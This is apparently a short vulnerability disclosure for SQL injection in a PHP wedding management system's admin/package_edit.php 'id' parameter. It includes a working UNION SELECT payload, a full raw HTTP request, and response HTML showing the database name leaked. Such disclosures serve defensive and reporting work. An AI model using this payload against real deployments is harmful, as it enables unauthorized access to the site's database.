debug601 Update SQLi-4.md History

1 contributor

28 lines (19 sloc) | 1021 Bytes

Wedding Management System v1.0 by codeastr.com has SQL injection

vendors: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability File: \admin\package_edit.php

Vulnerability location: /Wedding-Management/admin/package_edit.php?id=, id

[+] Payload: id=-1%20union%20select%201,2,database(),4--+

dbname = dbwedding

```
GET /Wedding-Management/admin/package_edit.php?id=-1%20union%20select%201,2,database
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```

```
GET
/Wedding-Management/admin/package_edit.php?id=-1%20
union%20select%201,2,database(),4--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.
9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```

```
                        <div class="form-group">
                            <label for="wedding_type">Package Title</label>
                            <input type="text" name="wedding_type" class="form-control"
id="wedding_type"  placeholder="Enter package name" value="2">
                        </div>

                        <div class="form-group">
                            <label for="price">Price Of This Package</label>
                            <input type="text" name="price" class="form-control" id="price"
placeholder="Enter the price"  value="dbwedding">
                        </div>

                        <div class="form-group">
                            <label for="preview_image">Preview Image</label>
                            <input type="file" name="preview_image" id="preview_image">
                        </div>

                        <a href="service_list.php" class="btn btn-sm btn-danger float-right"
style="font-size: 12px;">Cancel</a>
```

Load URL
Split URL
Execute
http://192.168.1.19/Wedding-Management/admin/package_edit.php?id=-1 union select 1,2,database(),4--+
Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All

WPMS Admin Panel

Liam Moore
Administrator

Dashboard
Blogs & Events
Clients
Services
Gallery
Upload Photos
User Management

Edit Package

Package Title

2

Price Of This Package

dbwedding

Preview Image 浏览... 未选择文件。

Edit Cancel